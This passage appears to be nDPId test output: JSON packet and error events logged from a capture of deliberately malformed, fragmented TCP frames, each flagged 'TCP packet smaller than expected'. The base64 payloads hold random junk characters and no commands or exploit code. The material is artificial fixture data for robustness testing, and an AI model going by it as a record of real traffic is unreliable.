-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044487} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044499} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044511} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044528} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044540} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044552} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044564} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":3676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044580} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044591} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044615} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044627} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044639} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044650} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044662} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044673} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044685} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044699} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044711} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044723} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044734} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044745} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044757} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044770} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044782} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044793} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044807} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044819} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044831} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044843} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044855} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044867} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044879} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044890} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044904} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044916} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044927} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044939} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044951} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044962} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044973} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044985} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028044997} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028045008} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028041673,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028045024} 